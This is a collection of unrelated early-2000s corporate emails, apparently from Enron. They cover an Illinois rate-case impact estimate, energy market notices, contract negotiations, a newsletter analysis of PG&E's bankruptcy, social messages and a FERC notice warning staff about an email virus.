this increase and true impact would likely be around -$12m. Remember this 
assumes ComEd get's the full $5.5/MWh increase they're asking for. 

Secondary Effect - Assume we still cannot deliver physically in IL.  With 
higher distribution rates customers are now more likely to get kicked off PPO 
(bc CTC=0) and we're returning them to bundled rates (Illinois State Univ. 
problem).  The impact would be about -$21m  [($71 - $76)/MWh * 4.2m MWh = 
-$21] if everyone's returned to BBR and we do not deliver.  The formula above 
is [(Avg price Customers are paying us - Avg BBR price)*(MWhs for 2005-2010)].

Tertiary Effect - We figure setup a desk to physically deliver and our 
delivery service rates are now higher.  We're back to the Primary effect.  
However, if we can beat the generation prices embedded in PPO we're likely to 
offset that -$12m.

These are not additive effects and should not be summed.  They are worst-case 
scenarios under various states of the world.  Also they are rough estimates.  
Finally, remember that no book impacts will be made until we understand which 
states of the will take place after the final order in April 2002.

I'm working closely with Janine Migden, Roy Boston, Guy Sharfman, and Harry 
Kingerski to identify which areas Enron will address in the rate case.  

Please do not share this information freely.  We are trying to negotiate with 
ComEd for wholesale energy and services and this information could 
tremendously hurt our negotiating position.

Please feel free to ask me questions on anything.  
Marc Ulrich

The NYISO is reserving hours beginning 2 and 6 in the September 29,
2001 Real-Time Market as well as the following hours per ECA
20010908B to verify prices:

HQ:   2-3, 16
NE:   16
OH:   16
PJM:  16

Prices in the September 30, 2001 Day-Ahead Market are correct.

Clay, please add the rest of the crude team to crude specific alerts.  
Thanks.  Also, can we set up an instant messenger system for these guys?    
Jeff

	Clayton Seigle
	02/22/2001 01:08 PM
		 
		 To: Jeffrey A Shankman/HOU/ECT@ECT, John L Nowlan/HOU/ECT@ECT, Don 
Schroeder/HOU/ECT@ECT, Gary Hickerson/HOU/ECT@ECT
		 cc: Scott Tholan/Corp/Enron@Enron, Robert Johnston/HOU/ECT@ECT, Brendan 
Fitzsimmons/NA/Enron@Enron, John A Cote/HOU/ECT@ECT
		 Subject: iraq/israel

Word from Israel is that the alert has been downgraded for the time being.  
Sources report that US aircraft flying over western Iraq saw that the troop 
movements and missile preparations have been halted, at least for the time 
being.  

TO: Members of the Advisory Board of the
 International Oil and Gas Educational Center

FROM: Pat Martin, Chair

                 I am very pleased to tell you that the
Alamo [ http://www.thealamo.org/ ] and adjacent Alamo Hall
[ http://www.thealamo.org/map_nojs.html ] will be the venue for our annual=
=20
Advisory Board reception and dinner on Wednesday, February 14, 2001.

 Our Annual Meeting of the Advisory Board will be conducted earlier that=20
afternoon at the Hilton Palacio del Rio on San Antonio's River Walk [=20
http://hotx.com/rb/ ].  Details and an RSVP form about both the meeting and=
=20
the dinner that evening will be mailed to you in early January.  February 1=
4=20
is also Valentines Day, so mark your calendar now to attend the Annual=20
Meeting and plan to bring your spouse or guest with you to our very special=
=20
dinner event at the Alamo that night.

 I am equally pleased to announce that the recipient of the IOGEC's 2001 Jo=
hn=20
Rogers Award -- and featured speaker at the award ceremony -- will be Enron=
=20
Chairman and CEO, Ken Lay.  The award will be presented at a special hosted=
=20
reception and dinner ceremony on Thursday, February 15, 2001 at the unique=
=20
Institute of Texan Cultures
[ http://www.texancultures.utsa.edu/main/ ].

 Our Advisory Board meeting and festivities as usual immediately precede ou=
r=20
annual Institute on Oil and Gas Law and Taxation.  The 52d Annual Institute=
=20
will be held Thursday-Friday, February 15-16, 2001, at the  Hilton Palacio=
=20
del Rio
[http://www.hilton.com/hotels/SATPDHH/index.html;$sessionid$4UKQTPQAAADTBJ3=
1AO
DSFFI?_requestid=3D10505 ] on the River Walk.  Institute Co-Chairs Bill=20
Schwind, Brad Keithley and Dennis Grindinger have assembling an outstanding=
=20
and innovative program, including:

 * optional multi-session segments on US Onshore, Federal/US Offshore,=20
International, Environmental, Litigation and Emerging Issues,

 * presentations by top federal oil and gas officials, including the Chairm=
an=20
of the Federal Energy Regulatory Commission (FERC),  the Director of the=20
Minerals Management Service (MMS) and the Director of the Office of Foreign=
=20
Asset Control (OFAC),

 * presentations by top state oil and gas officials, including  Commissione=
rs=20
of the Texas Railroad Commission and the Louisiana Office of Conservation a=
nd=20
the Vice Chair of the Oklahoma Corporation Commission,

 * presentations by top law school faculty, including Professors Earnest E.=
=20
Smith from the University of Texas, Bruce Kramer from Texas Tech University=
,=20
Ira Shepard of the University of Houston and Martin J. McMahon of the=20
University of Florida,

                =02=05               presentations by top oil and gas attor=
neys,=20
including Williams Companies SVP and General Counsel Bill von Glahn, former=
=20
Coastal Corp. General Counsel Mike Beatty and former EEX SVP and General=20
Counsel and current IOGEC Vice Chair Janice Hartrick, and

 * tours of San Antonio and its historical sites for registrants' family an=
d=20
friends during the Institute.

The Institute materials will be provided to Institute registrants on CD as=
=20
well as in the traditional notebook.  As they have been for 51 years, the=
=20
papers by the Institute faculty will ultimately be edited and published by=
=20
Matthew Bender & Company in its annual Proceedings of the Oil and Gas Law a=
nd=20
Taxation Institute.

                 An Institute brochure with further information about the=
=20
Institute, the Rogers Award ceremony and related events in San Antonio will=
=20
be mailed to you shortly after Thanksgiving.

 I remind you that as a member of the Advisory Board of the IOGEC [=20
http://www.swlegal.org/iogec/ ], you are entitled to attend this cornucopia=
=20
of professional, educational and social  events cost-free:

 *  the Advisory Board Annual Meeting on Wednesday afternoon,
 * the Advisory Board reception and dinner at the Alamo on Wednesday evenin=
g=20
(you are invited to bring your spouse or guest to this special event withou=
t=20
charge),
 * the John Rogers Award Reception and Dinner at the Institute of Texan=20
Cultures on Thursday evening (tickets for your spouse or guest will be=20
available for purchase), as well as
 * the entire Oil & Gas Law and Taxation Institute, including the two-day=
=20
program and a hosted luncheon on Friday.

               The Institute is followed by a three-day weekend (Presidents=
=20
Day is Monday, February 19, 2001), and San Antonio is Texas' top tourist=20
destination for many good reasons, so I look forward to seeing you in=20
February in San Antonio
[ http://www.sanantoniocvb.com/INDEXED.HTM ].

               Enjoy the Thanksgiving holidays.

Thanks.  Of the two - I think UBS is better.  It seems like they are a smaller, more specialized company that is more similar to our culture from a risk tolerance perspective.  It should be good.  Of course, anything is better than the way it has been.
 
We are not going to be able to go to Tahoe anymore b/c of scheduling conflicts with my boss, so we are planning on going to Las Vegas from Feb 13-16.  The airfare is $200/person roundtrip and we can stay at the aladdin or rio for about $100/night (or the bellagio for $200/night). We were wondering if you guys would be interested in joining us?
 
-Eric

Sent: Friday, January 11, 2002 12:32 PM
Subject: UBS

Are you happy??  Congratulations!  LU-M

Lindsay:

	I have looked at the material and it seems backwards to me.  I think that instead of ENA being assigned the contract between NDR and MichCon that MichCon should be assigned the supply contract between NDR and ENA.  In other words, ENA should not step into the shoes of NDR, MichCon should.

	Also, I have attached a copy of our sample Master Agreement.

Thanks,

Jeff 

From: 	Culotta, Lindsay  
Sent:	Tuesday, November 20, 2001 11:09 AM
To:	Hodge, Jeffrey T.
Subject:	FW: draft of NDR - MichCon language

Please review.  Also, if you could send an electronic copy of our master enfolio agreement, I would greatly appreciate it.
Thanks.
Lindsay

Lindsay Culotta
Central Desk Origination
Phone: (713)853-5199
Fax: (713)646-3390

From: ndrgroup@att.net [mailto:ndrgroup@att.net]
Sent: Monday, November 19, 2001 10:36 AM
To: Culotta, Lindsay; gerald.raines@michcon.com
Cc: Robinson, Marchris
Subject: draft of NDR - MichCon language

To all Concerned

Included is a draft of the language for the transaction 
between NDR and MichCon.  If you have any questions 
please contact me at 301-516-1636 or by reply e-mail.

Rickey << File: Assignment_agreement_between_NDR_and_Enron_for_MichCon1.doc >> 

Milnthorp is following up with McKay who is back tomorrow.  PS TransAlta 
Energy Marketing.

The attached file contains our daily volume requirements for   3/31 thru 4/3
.    There are two worksheets:  The one labelled with today's date contains 
the
volumes that we need at each of the delivery points indicated.   The 
schedulers
will want to check this sheet to see how much gas is needed at a specific
point.    The AGL volumes are not current and should be ignored.

The sheet labelled 'Daily Change' shows the change (increase +/decrease -) in
the requested daily volume relative to a prior value.  For the current gas 
day,
the change is an intra-day change and is calculated using the previous day's
volume request for the current day (e.g., If the current gas day is 3/28, then
the change is computed with respect to the 3/27 request for 3/28).  For
tomorrow's gas day and any subsequent ones shown, the change is computed using
the First-of-the-month volumes requested for those days.  (e.g., If today is
3/28, then the change for 3/29, 3/30, etc. is computed with respect to the
first-of-the-month volumes for those days.)   This sheet should be useful in
determining prices for daily changes in gas volumes that we take or turn back.

 - 03-31-00daily volsAM.xls

I think that despite all of the ballyhoo about Simms ( and I know you hate 
this), Applewhite should play.  I think if Applewhite plays and we have a 
decent running game, we can blow them out.  Our defense is good enough to 
shut pretty much anyone down.

When are you going up and what are ya'll doing up there?

10/02/2000 03:18 PM
cc:  
Subject: Re: Game @ 7:00  

I'm there.  What do you think about OU??  I think it will be a tough game but 
I sure am glad (make that hope) that Hodges doesn't see the field too much.

Luis

	From:  Eric Bass @ ECT                           10/02/2000 10:33 AM
	
To: Matthew Lenhart/HOU/ECT@ECT, Timothy Blanchard/HOU/EES@EES, Jeffrey C 
Gossett/HOU/ECT@ECT, Kenneth Shulklapper/HOU/ECT@ECT, Nick 
Hiemstra/HOU/ECT@ECT, Luis Mena/NA/Enron@Enron, Amir Ahanchian/Enron 
Communications@Enron Communications, Brian Hoskins/Enron Communications@Enron 
cc: acahanchian@zdnetonebox.com 

Subject: Game @ 7:00

Our game is at 7:00 this week.  We play the other Enron team.  Please let me 
know whether or not you will attend.

[IMAGE]

The CIS Conferencec provides utility management personnel unequaled insight 
and current information on Customer Relationship Management (CRM), 
E-Commerce, Technologies and Marketing. Fifty-four sessions conducted by 
utility industry representatives will focus on issues facing the industry. 
Over 100 companies will exhibit the latest technologies and services. 

Former President George Bush is our Honored Keynote Speaker 

www.cisconference.org 

IssuesWatch

[IMAGE]
RDI/FT Energy is now available from SCIENTECH. The Wall Map measures 42" x 
72"; the Executive Map Set consists of 18 11" x 17" maps. Visit our website 
at www.ConsultRCI.com for a detailed description of these valuable maps and 
complete ordering instructions. 

[IMAGE]

[IMAGE]

Pacific Gas & Electric Co. Declares Bankruptcy

by Will McNamara 

Pacific Gas & Electric Co. (NYSE: PCG), the utility unit of PGOCorp., on 
Friday filed for reorganization under Chapter 11 Bankruptcy Code in the U.S. 
Bankruptcy Court for the Northern District of California in San Francisco. 
The company said it is taking this action in light of its uncollected energy 
costs, which are now increasing by more than $300 million per month; 
continuing CPUC decisions that economically disadvantage the company; and the 
now unmistakable fact that negotiations with Gov. Gray Davis and his 
representatives are going nowhere. Pacific Gas & Electric Co. reportedly has 
more than $9 billion in uncollected costs for wholesale power purchases. 
Neither PGOCorp. nor any of its other subsidiaries, including its National 
Energy Group, have filed for Chapter 11 reorganization or are affected by the 
utility's filing.  

Analysis: Despite the fact that Pacific Gas & Electric Co.'s bankruptcy 
filing has been in the making for several months, and that its financial 
insolvency appeared inevitable, the actual filing for Chapter 11 protection 
on Friday caught many by surprise, including California's top officials. 
Ironically, the utility's 13 million customers may end up being the least 
impacted by the bankruptcy, as Pacific Gas & Electric Co. will remain in the 
business of providing power while it works its way through bankruptcy court. 
However, there is little doubt that the bankruptcy filing of California's 
largest utility will spark many reverberations throughout the state and 
across the country, the full impact of which is not presently known.  

There naturally is a great deal of industry press surrounding this major 
news, so I won't waste time regurgitating information that is being widely 
disseminated. Rather, I will focus on what I believe to be some of the key 
elements of this story. 

1. The bankruptcy was announced the day after it became clear to PGOthat the 
state of California would not be purchasing its transmission assets at a 
price that PGObelieves the assets to be worth. In addition, a new rate 
increase approved by the governor could not be used to repay any of Pacific 
Gas & Electric Co.'s  existing debts. The night before the bankruptcy filing, 
Gov. Davis delivered a televised address to the state in which he indicated 
that the rate increases would be contingent on PGOselling the transmission 
assets to the state. In other words, if PGOagreed to the state's price for 
the transmission assets, a portion of the rate increase would be used to 
alleviate the utility's subsequent debts. The inside word is that Pacific Gas 
& Electric Co. was finally driven to its bankruptcy decision due to 
disagreements with Gov. Davis regarding the price of the transmission assets, 
which could be anywhere from $3 billion to $9 billion. Officially, Pacific 
Gas & Electric Co. said that its negotiations with the state "were going 
nowhere." The CPUC had previously approved rate increases of up to 46 percent 
for the customers of SCE and Pacific Gas & Electric Co., but clearly 
stipulated that none of this added revenue could be used to pay off existing 
debt. In his statewide address on the eve of the bankruptcy, Gov. Davis 
reluctantly announced an additional rate increase for non-residential 
customers that would average about 26.5 percent. Davis had fiercely resisted 
any form of a rate increase to accommodate Pacific Gas & Electric Co.'s debt. 
The official PGOresponse to both increases was that they were insufficient to 
pay off existing debts of the utility operation. 

2. PGOCorp. and other non-utility subsidiaries are not impacted by the 
bankruptcy measure (at least for now). Due to a shrewd financial 
restructuring that was approved by FERC a few months ago (see 1/12/01 Issue
Alert for more information), high-profit subsidiaries such as National Energy 
Group and PGOGas Transmission Northwest Corp. were placed into a 
special-purpose, bankruptcy remote entity known as GTN Holdings LLC. 
Consequently, these non-regulated subsidiaries (along with the parent 
corporation) may not be impacted by the utility's bankruptcy filing. The U.S. 
federal bankruptcy judge ultimately may take a closer look at how profits 
were divided among the parent operation and other non-regulated subsidiaries, 
but for the time being only Pacific Gas & Electric Co. has declared 
bankruptcy. 

3. Power suppliers still owed money by PGOcould likely never get paid. Much 
of Pacific Gas & Electric Co.'s $9 billion debt is owed to power suppliers 
that sold power to the utility over the last year or so. With the onset of 
lengthy legal proceedings, it becomes more unlikely that these power 
suppliers will be paid what they are owed any time soon. Consequently, power 
suppliers owed more than $100 million by Pacific Gas & Electric Co. also saw 
their stocks drop as a reaction to the bankruptcy announcement. According to 
a report in Reuters, Duke Energy (NYSE: DUK) was down $2.65 or 6.25 percent 
at $30.75; Dynegy Corp. (NYSE: DYN) was off $2.58 or 5.07 percent at $48.34; 
Williams Companies (NYSE: WMB) was $2.26 or 5.4 percent lower at $39.60; and 
Reliant Energy (NYSE: REI) lost $2.70 or 5.95 percent to $42.65. In addition, 
there is the real question of whether or not such power suppliers will be 
willing to provide power used by a bankrupt company (even if the state of 
California remains involved as the buying intermediary). For its part, 
PGOCorp. Chairman Bob Glynn said that the utility subsidiary intends to 
eventually "pay all our debt" in full but he did not report a specific 
figure. In addition to the power suppliers, banks that have provided loans to 
Pacific Gas & Electric Co. (such as Bank of America, Wells Fargo and J.P. 
Morgan Chase) could all be impacted by the bankruptcy. Pacific Gas & Electric 
Co.'s preliminary bankruptcy filing lists its top creditor as Bank of New 
York, to which it owes more than $2.2 billion. Although some payments may be 
made after years of litigation, such lenders and bondholders may be forced to 
write off billions of dollars that were previously advanced to Pacific Gas & 
Electric Co. as losses.  

4. The blame game is in full force. Davis and state regulators have 
repeatedly blamed out-of-state generators for price gouging and federal 
regulators for failing to impose wholesale rate caps on electricity prices. 
Also, Gov. Davis has issued harsh words against PG&E. Over the weekend, Davis 
appeared on two nationally televised news programs to berate PGOfor awarding 
an estimated $50 million in bonuses and raises to about 6,000 midlevel 
managers and support staff on the eve of the utility's bankruptcy filing. 
"Management at PGOis just focused upon padding their own pockets, not in 
discharging their duty to serve their many customers in California," Davis 
reportedly said. Earlier, Davis had previously issued a statement saying 
PGO"management is suffering from two afflictions: denial and greed." In 
addition, California regulators have criticized FERC for not implementing 
wholesale price caps in the Western region, which they believe would help to 
stabilize the market in California. U.S. Sen. Dianne Feinstein said that, "it 
is inexcusable that FERC has refused to intervene and provide temporary 
stability and reliability [through the use of wholesale price caps]." 
Feinstein vowed to introduce legislation to force federally mandated price 
caps for the entire Western region. For its part, FERC refused to take 
responsibility for the California crisis, saying instead that Pacific Gas & 
Electric Co.'s bankruptcy filing was "the unfortunate result of a massive 
failure by policymakers at all levels." PGOblames decisions made by the CPUC 
and Gov. Davis that it believes "undermined" its ability to return to 
financial viability and recover its uncollected costs. Specifically, 
PGOblames the California government for not allowing it to recover prior 
wholesale power costs through recent rate increases, which essentially has 
kept the utility in a debt situation. PGOalso believed that the governor was 
not moving quickly enough to reach an agreement regarding the sale of PG&E's 
transmission system to the state.  Consumer groups continue to lambaste the 
utility and its parent company, which they claim has $30 billion in available 
capital that could have been used to pull its subsidiary out of debt.  

5. Could the bankruptcy filing of SCE be far behind? The second-largest 
utility in California continues to maintain that it intends to avoid 
bankruptcy and it believes it can work out a "comprehensive solution to our 
current crisis." However, because the two utilities have been so closely 
linked through the state's energy crisis, PG&E's decision to declare 
bankruptcy certainly raises the odds that SCE will eventually follow suit. In 
fact, Moody's Investors Service is reporting that Pacific Gas and Electric 
Co.'s bankruptcy increases the possibility of an SCE bankruptcy filing. 
Further, Moody's is reporting that numerous creditor groups, particularly the 
small generators, have become impatient with the time that it has taken to 
advance settlement discussions with the state of California, thereby 
increasing the prospects for an involuntary petition by a group of creditors. 
On April 6, the day of Pacific Gas & Electric Co.'s bankruptcy filing, shares 
of SCE tumbled $4.29, or nearly 34 percent, to finish trading at $8.35. 
Surprisingly, SCE shares jumped about $2.00 by mid-morning on April 9, to 
trade at about $10.00. The reason for the increase is not fully known, 
although SCE continues to remain involved in negotiations with Gov. Davis 
regarding its own outstanding debt. 

6. This is just the start of a long, drawn out legal process. The electric 
utilities that previously declared bankruptcy (including El Paso Electric, 
Public Service Company of New Hampshire and El Paso Electric) all found 
themselves embroiled in legal proceedings for several years. Thus, although 
we may not know the ultimate outcome for Pacific Gas & Electric Co.'s 
bankruptcy proceedings, we do know that the company will be essentially 
consumed with litigation and a thorough investigation of its financial 
records for the foreseeable future. Federal Bankruptcy Judge Dennis Montali 
of San Francisco has been assigned the PGOcase. Montali will have the 
ultimate power to approve or reject any plan for how PGOreorganizes or 
arranges to repay its debt. Several positive elements of the process that 
might work to PG&E's advantage is that the utility will now be held 
accountable to only one individual, Judge Montali. Pacific Gas & Electric Co. 
will no longer have to appease several regulatory entities across state and 
federal lines. Second, by the time that the bankruptcy proceedings are 
completed, market dynamics hopefully will have improved and California's 
supply problem should be resolved. Consequently, Pacific Gas & Electric Co. 
could eventually rise again, like the phoenix out of its ashes, and emerge as 
a much stronger company than it is today.  

----- Forwarded by Debra Perlingiere/HOU/ECT on 05/30/2001 03:41 PM -----

	Judy Thorne/ENRON@enronXgate
	05/30/2001 08:25 AM
		 
		 To: gregoryh@epenergy.com@SMTP@enronXgate
		 cc: Debra Perlingiere/HOU/ECT@ECT, Judy Thorne/ENRON@enronXgate
		 Subject: EL PASO GISB

Harry,

Per your request, I am forwarding for your review the attached sample of 
Enron Upstream Company, LLC's GISB.   Please do not hesitate to give me a 
call with any questions you may have regarding the enclosed.

Thanks,
Judy Thorne
ENA Upstream Company, LLC

Denise, pls print for me.  Thanks DF
---------------------- Forwarded by Drew Fossum/ET&S/Enron on 05/30/2000 
07:45 AM ---------------------------

"Jeffrey C. Alexander" <Jalexander@Gibbs-Bruns.com> on 05/29/2000 12:11:21 PM
To: "Barrett H. Reasoner" <Breasoner@Gibbs-Bruns.com>, "Caren S. Sweetland" 
<csweetland@Gibbs-Bruns.com>
cc: "'dfossum@enron.com'" <dfossum@enron.com>, "'bdavis@enron.com'" 
<bdavis@enron.com> 

Subject: Motion in Limine

Here is a first cut at a Motion in Limine for the Northern case.  I have
tried to hit the major themes, but I am sure there are issues I might have
missed.  Please let me know of any additional matters you think we might
include.

 <<1WB601!.WPD>>

 - 1WB601!.WPD

Sam, as per our meeting, please move the above agreement out of the "other" 
category in lotus notes.  It will make it easier to locate.  Thanx.

EB3880D

fyi
---------------------- Forwarded by Karen Denne/Corp/Enron on 10/16/2000 
04:23 PM ---------------------------
From: Diane Bazelides@AZURIX on 10/16/2000 04:22 PM
To: Elizabeth Ivers, Mark Koenig/Corp/Enron@ENRON, chensle2, Karen 
cc:  

Subject: Litigation Response

Here's the response we're using on the litigation.

I am pleased to announce that Theresa Branney will be joining Northern's 
Business Development & Marketing Group effective Monday, July 31 as an 
Account Director.   Theresa will be utilizing her transportation and storage 
knowledge in helping us to expand the commercial focus in the Storage group.  
To take full advantage of Theresa's expertise, she will also be assisting 
with our analytics for both the Pricing & Structuring and Risk Management & 
Reporting groups.   Theresa will be reporting to Sue Neville, Director of 
Storage.

Theresa has broad energy industry experience beginning with her employment in 
1985 with Pacific Enterprises as a geologist.  In 1993, she moved into the 
transportation and storage arena with Coastal Gas Marketing and has 
subsequently been with ProEnergy, Midcon Gas Services, and Enron North 
America.  Theresa received her undergraduate degree from Colorado State 
University and her MBA in Marketing and Finance from the University of 
Colorado.  We are excited about the opportunity to add someone with Theresa's 
skills and knowledge of the Midwest market to our organization!

Please join me in welcoming Theresa to the Marketing division.

Veronica,  Duke has agreed to 5mm for their threshold I have sent a redline for their review.

 Thanks!

Sent:	Tuesday, September 25, 2001 10:30 AM
To:	Perlingiere, Debra
Cc:	Vanek, Darren; Williams, Jason R (Credit)
Subject:	RE: Master Agreement

Debra--

The attached contract has reciprocal $10MM thresholds.  I did not agree to that with the counteraparty when I spoke to them on Friday afternoon.  I went ahead and only agreed to raise Duke's threshold to $5MM (and to keep ours at $10MM).

Please send a revised contract draft to the counterparty.

Thanks,

Veronica

From: 	Perlingiere, Debra  
Sent:	Monday, September 24, 2001 5:28 PM
To:	'rmasciangelo@duke-energy.com'
Subject:	Master Agreement

Robin, I have redlined changes to Thresholds in section 11.  Please review and let me know.  Thanks !!

 << File: Duke Energy Marketing LP-Canada.doc >> 

Weather Trading 
Energy and weather are so inextricably tied to one another that it is sometimes hard to separate the two. The demand for power is directly related to temperature going up in summer and going down in winter. If, therefore, you have an unusually cool summer, the demand for power will be much lesser than anticipated, and the same in case of an unusually warm winter. Several electricity utilities enter into power purchase agreements based on anticipated demand, and would face serious financial losses in such cases. 
Weather derivatives provide such companies an option to hedge against risk of weather fluctuations. It is no surprise, then, that one of the conferences more lively discussions centered on the presentation by Tom Fletcher, head of weather trading for Mirant <http://www.mirant.com/>. 
In describing weather trading, Fletcher reported the market has grown exponentially since it was first formed in 1997. Fletcher highlighted how successful trading requires purchasing the right product. He went on to describe some of the sophisticated products being launched and how Mirant is integrating weather risk into their overall profile and what that means for the traders on the floor. 
With presentations from other market leaders such as Centrica, I-Wex, Spectron, Aquila, LIFFE, Mirant, Bewag, Aon and Entergy-Koch, Weather Trading Europe <http://www.eyeforenergy.com/weather/> provided three days of the latest developments in European trading. 
The conference touched on key issues surrounding the sector including liquidity in the weather market-where is it and how to access it; data issues-the state of play in European weather data and how you can best utilize the information you've got and a host of other topics designed to help attendees leverage their skills. 
As weather trading takes its place in the online world, there is a pressing need to develop greater use of weather derivatives from corporations to avoid the market becoming a predominantly speculative industry. 

---------------------- Forwarded by Sara Shackleton/HOU/ECT on 12/21/99 05:10 

"CAVALIER,DEBORAH MD" <LAB-DSC@womans.com> on 12/21/99 08:55:00 AM
cc:  
Subject: FW: Funny!

> From: GILLY,KATHY J
> Sent: Tuesday, December 21, 1999 8:48 AM
> To: CAVALIER,DEBORAH MD
> Subject: FW: Funny!
>
>
>
> From: kbgilly [SMTP:kbgilly@prodigy.net]
> Sent: Thursday, December 16, 1999 10:11 PM
> To: B. Gilly (work); lab-kjb@womans.com; rmusso20@aol.com;
> nokito1@aol.com
> Subject: Fw: Funny!
>
>  <<Christ7.exe>>

 - Christ7.exe

Attached is a name change from Nipsco Industries, Inc. to NiSource Inc.

Shortname changes will be coordinated with ERMS IT on Fri, 04/13.

Records will be inactivated on 05/01/01.

thanks for the update.

	From:  Spencer Vosko                           10/25/2000 12:57 PM
	
cc:  
Subject: IRAQ

With regards to the situation in Iraq, we have close contacts with Bayoil, 
who is the largest lifter to the US. They remain very bearish the market 
,though they are sold out on their november arrivals they have a lot of 
barrels available in december. They feel the Euro situation will be of small 
impact and they are seeing business as usual for november loading. As a side 
note they are normally right about the Iraqi situation but last year they did 
have vessels waiting at Mina al Bakr when the Iraqis cancelled loadings. I'll 
let you know if they change their tune.

Does anyone have the file for Barrett Resources Corporation?

Stephanie

The following server will be coming down, please see below for more details 
and scheduled times :

          SYSTEM OUTAGE NOTIFICATION      

FOR:  PR2 - HR Production

Outage Start: (CST) 4/8/2001 at 09:00:00 AM

Outage End: (CST) 4/8/2001 at 03:00:00 PM

Outage Abstract:  System Maintenance

Outage Description: Replace faulty hard-drive

Outage Implication: System will be down for duration of outage

Contact Name:Larry Harbuck   #:  1-877-498-3378

A warning from our IT people--and why FERC had no e-mail for a couple of  h=
ours.
Date: Tue, 04 Dec 2001 13:36:51 -0500
From: "IT Support Center" <itsc@ferc.fed.us>
To: <AAbate@ferc.fed.us>,<abbigale.addison@ferc.fed.us>,        <ACarroll@f=
erc.fed.us>, <ADeng@ferc.fed.us>,        <AHinz@ferc.fed.us>, <BBourque@fer=
c.fed.us>,        <bbraswell@ferc.fed.us>, <BBryan@ferc.fed.us>,        <BH=
arrington@ferc.fed.us>, <BHolsey@ferc.fed.us>,        <bsesso@ferc.fed.us>,=
 <cbeatson@ferc.fed.us>,        <CChung@ferc.fed.us>, <CCook@ferc.fed.us>, =
<CDegu@ferc.fed.us>,        <CHandley@ferc.fed.us>, <CNiehaus@ferc.fed.us>,=
        <cnutsch@ferc.fed.us>, <CPhung@ferc.fed.us>,        <CRybicki@ferc.=
fed.us>, <CWeakley@ferc.fed.us>,        <DCagnon@ferc.fed.us>, <DCiemielews=
ki@ferc.fed.us>,        <DFrailey@ferc.fed.us>, <DHannan@ferc.fed.us>,     =
   <DMashburn@ferc.fed.us>, <DMurray@ferc.fed.us>,        <DSmith@ferc.fed.=
us>, <DZugris@ferc.fed.us>,        <EArnold@ferc.fed.us>, <EBarka@ferc.fed.=
us>,        <EBrown@ferc.fed.us>, <egargon@ferc.fed.us>,        <elizabeth.=
bethke@ferc.fed.us>, <ERamos@ferc.fed.us>,        <ethompson@ferc.fed.us>, =
<FBryant@ferc.fed.us>,        <FWilliams@ferc.fed.us>, <GTWhite@ferc.fed.us=
>,        <GWyche@ferc.fed.us>, <hbotchway@ferc.fed.us>,        <jason.chen=
@ferc.fed.us>, <JGilchrist@ferc.fed.us>,        <jhassan@ferc.fed.us>, <JJe=
ffas@ferc.fed.us>,        <JKrug@ferc.fed.us>, <JLarsen@ferc.fed.us>,      =
  <JLivingston@ferc.fed.us>, <JLuna@ferc.fed.us>,        <JMcDougal@ferc.fe=
d.us>, <JMiller@ferc.fed.us>,        <JMMiller@ferc.fed.us>, <jonathan.burg=
ess@ferc.fed.us>,        <JPaquin@ferc.fed.us>, <JShepherd@ferc.fed.us>,   =
     <jsilva@ferc.fed.us>, <JWagner@ferc.fed.us>,        <KLeblanc@ferc.fed=
.us>, <KMerlo@ferc.fed.us>,        <KSherman@ferc.fed.us>, <LBunn@ferc.fed.=
us>,        <LFerguson@ferc.fed.us>, <LFinger@ferc.fed.us>,        <mali@fe=
rc.fed.us>,        <Martin#032#W#032#Van#032#Doorninck@ferc.fed.us>,       =
 <MCalin@ferc.fed.us>, <MFerebee@ferc.fed.us>,        <MGreenham@ferc.fed.u=
s>, <MHughes@ferc.fed.us>,        <MKlose@ferc.fed.us>, <MRison@ferc.fed.us=
>,        <NGoharian@ferc.fed.us>, <NMoore@ferc.fed.us>,        <PHairston@=
ferc.fed.us>, <PKilchrist@ferc.fed.us>,        <popeng.chang@ferc.fed.us>, =
<RAmerkhail@ferc.fed.us>,        <RLynch@ferc.fed.us>, <RRegal@ferc.fed.us>=
,        <RReid@ferc.fed.us>, <rrogers@ferc.fed.us>,        <RShaffer@ferc.=
fed.us>, <SBDavis@ferc.fed.us>,        <SDupree@ferc.fed.us>, <SNovak@ferc.=
fed.us>,        <ssalehi@ferc.fed.us>, <SSauve@ferc.fed.us>,        <steve.=
collins@ferc.fed.us>, <STriplett@ferc.fed.us>,        <TBaker@ferc.fed.us>,=
 <tbryfogle@ferc.fed.us>,        <TByrd@ferc.fed.us>, <TCampbell@ferc.fed.u=
s>,        <TJohnson@ferc.fed.us>, <TWelch@ferc.fed.us>,        <uhong@ferc=
.fed.us>, <VSarma@ferc.fed.us>,        <WMeroney@ferc.fed.us>, <WSpencer@fe=
rc.fed.us>,        <YPark@ferc.fed.us>, <ZMagos@ferc.fed.us>
Subject: URGENT FERC MESSAGE
Content-Type: multipart/alternative; boundary=3D"=3D_471A7B26.690875E1"

A new virus was released  today.  This high risk virus is called  W32/GONER=
@MM.  All incoming and outgoing internet email  has been temporarily shut d=
own at FERC in order to prevent this virus from  infecting workstations.
=20
If you have received any email with the Subject:  Hi containing an attachme=
nt entitled GONE.SCR  please delete it immediately and empty your Trash.  I=
f you need  assistance with this, please call the IT Support Center immedia=
tely at  208-1163.
=20
Once this issue has been resolved, internet mail service will be  restored.=
  Another notice will be sent at that time notifying you that this  problem=
 has been corrected.
=20
Thank you.

Christi, 

per your email.

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 04/06/2001 10:54 

Kay Mann
04/06/2001 05:37 AM
cc:  

Subject: MDEA

---------------------- Forwarded by Kay Mann/Corp/Enron on 04/06/2001 05:28 

Kay Mann
04/05/2001 08:13 AM
To: Reagan Rorschach/Enron@EnronXGate, David Fairley/Enron@EnronXGate
cc:  

Here's a starting point.  I've tried to bracket stuff with open issues like 
this [ ], but I'm sure there are more questions than [ ]s.  I'm really 
unclear on the financial aspect of the deal.  

Reagan, I didn't stop to put the exhibits you sent in, as I thought it was 
better to get the doc in your hands (and Mr. Fairley's) for a detailed review.

Kay

Greetings.  E296-1 is not showing up in my account.  

Best,
Jeff

From: IzioAutoEmail@convene.com [mailto:IzioAutoEmail@convene.com]
Sent: Thursday, August 16, 2001 9:39 PM
To: dasovich@haas.berkeley.edu
Subject: Account Information for E296-1

Dear Jeffrey,

Zane Cooper has just added you to their course, E296-1.

If you feel that this is an error, please email them at: zcooper@haas.berkeley.edu

If you have any questions or comments regarding this email or the Iziosystem, please forward them to: IzioSupport@convene.com.

The IzioTeam.  

===========================================
This message was sent from the Izio system at http://haas.Izio.convene.com.   
If you have any questions or comments regarding this email or the Izio system, please forward them to IzioSupport@convene.com.   

Mike, Brian Redmond

Dave
